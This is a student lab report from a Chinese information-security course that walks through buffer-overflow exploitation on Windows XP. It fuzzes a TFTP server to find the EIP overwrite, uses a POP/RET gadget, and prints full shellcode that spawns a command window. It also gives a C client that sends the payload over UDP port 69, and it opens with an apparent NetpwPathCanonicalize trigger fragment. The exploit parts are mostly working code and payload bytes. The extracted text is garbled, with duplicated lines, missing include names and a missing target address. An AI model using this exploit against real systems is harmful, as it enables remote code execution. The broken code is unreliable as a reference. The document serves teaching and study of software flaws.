缓冲区溢出实验报告.docx
《缓冲区溢出实验报告.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出实验报告.docx(14页珍藏版)》请在冰豆网上搜索。
缓冲区溢出实验报告
华中科技大学计算机学院
《信息系统应用安全》实验报告
实验名称缓冲区溢出实验
团队成员:
姓名
班级
学号
贡献百分比
得分
高涛
信安0703班
U5
100%
注:
团队成员贡献百分比之和为1
教师评语:
一.实验环境
操作系统:
WindowsXPSP3
编译平台:
VisualC++
调试环境:
OllyDbg
二.实验目的
1.掌握缓冲区溢出的原理;
2.掌握缓冲区溢出漏洞的利用技巧;
3.理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤
1.缓冲区溢出漏洞产生的的基本原理和攻击方法
缓冲区溢出模拟程序
程序源代码如下:
#include""
#include""
#include<>
";
charVulFunc[]="NetpwPathCanonicalize";
LibHandle=LoadLibrary(dll);
";
charVulFunc[]="NetpwPathCanonicalize";
LibHandle=LoadLibrary(dll);
Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);
memset(arg_1,0,sizeof(arg_1));
memset(arg_1,0x90,sizeof(arg_1)-2);
memset(arg_4,0,sizeof(arg_4));
memset(arg_4,'a',sizeof(arg_4)-2);
memcpy(arg_4,shellcode,168);
arg_1[0x318]=0xF9;
造FUZZ
tftpgetAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,可以看到发生了溢出:
2.确定溢出点
采用284个’A’+’1234’的fuzz,运行效果如下:
可以看到程序转到了,溢出点定位成功。
3.程序中溢出点定位
使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Searchfor选项,找到Nameincurrentmodule,在其中找到recvfrom,
如下所示:
从这里找到recvfrom函数的位置,在此设置断点:
然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:
运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:
运行到下面的代码处,程序跳转到处,至此溢出点定位完毕。
溢出漏洞利用分析
首先肯定是想到利用JMPESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。
从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:
POPX
RET
代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:
这样就可以构造如下的shellcode:
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//12
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//24
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//36
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//48
"\x8d\x45\xf4\x50\xb8"//53
"\x77\x1d\x80\x7c"//LoadLibraryW的地址//57
"\xff\xd0"//59
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//71
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//83
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//95
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//107
"\xba"//108
"\xc7\x93\xbf\x77"//System的地址//112
"\xff\xd2"//114
"\x90\x90\x90\x90"//118
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//128
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//138
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//148
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//158
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//168
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//178
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//188
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//198
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//208
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//218
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//228
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//238
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//248
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//258
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//268
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//278
"\x90\x90\x90\x90\x90\x90"//284
"\xB0\x01\xFC\x7F"//EIP地址//288
该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。
漏洞利用
直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个’A’+0xB0+0x01+0xFC+0x7F,发送到服务器端,发现实际地址不对:
发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:
#include<>
#include<>
#include<>
//弹出命令框的Shell长度
#defineCMD_SHELL_LENGTH300
//弹出命令框的shellcode
charcmdshell[CMD_SHELL_LENGTH+1]=
"\x00\x01"//2
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//14
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//26
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//38
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//50
"\x8d\x45\xf4\x50\xb8"//55
"\x77\x1d\x80\x7c"//LoadLibraryW的地址//59
"\xff\xd0"//61
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//73
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//85
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//97
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//109
"\xba"//110
"\xc7\x93\xbf\x77"//System的地址//114
"\xff\xd2"//116
"\x90\x90\x90\x90"//120
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//130
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//140
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//150
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//160
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//170
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//180
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//190
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//200
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//210
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//230
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//240
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//250
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//260
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//270
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//280
"\x90\x90\x90\x90\x90\x90"//286
"\xB0\x01\xFC\x7F"//EIP地址//290
"\x0netascii\x0";//300
voidmain()
{
WORDwVersionRequested;//版本数据
WSADATAwsaData;//初始化数据
interr;//返回错误码
//初始化版本字段
wVersionRequested=MAKEWORD(2,2);
//初始化库
err=WSAStartup(wVersionRequested,&wsaData);
if(err!
=0)
{
return;
}
if(LOBYTE!
=2||HIBYTE!
=2)
{
WSACleanup();
return;
}
//构造SOCKET
SOCKETsockClient=socket(AF_INET,SOCK_DGRAM,0);
//初始化地址字段
SOCKADDR_INaddrSrv;
"");
=AF_INET;
=htons(69);
//发送shellcode
sendto(sockClient,cmdshell,CMD_SHELL_LENGTH,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
//关闭套接字
closesocket(sockClient);
//清理库信息
WSACleanup();
}
运行该代码的效果如下:
这样就成功的利用了该漏洞。
四.实验中的问题及心得
程序中遇到了很多问题,由于前面的实验只是验证性的,我主要说明做最后一个实验中遇到的问题与心得:
1.溢出点定位时遇到的问题
溢出点定位应该是很简单的,但是这里的一个问题是字符串长了会覆盖参数,引起异常,我最初就以为溢出点位置为292个字符,因为我发现有292个字符时,产生了EIP的跳转,而实际上这是由于参数异常引起的,后来在同学的提醒在才意识到这个问题。
2.溢出利用时的问题
溢出漏洞利用时,这里不能用JMPESP,我开始就想这怎么利用呢后来在同学的帮助下,意识到可以巧妙的利用第二个参数跳转,后来发现这个利用思路真的是很巧妙。
利用时的另一个问题是非法字符不能通过命令行直接发送,这样必须自己实现tftp客户端。
3.实验心得
通过实验,我对缓冲区溢出漏洞有了一个比较清晰的认识。
对利用的方法也有了一个比较详细的了解,可以说获益匪浅。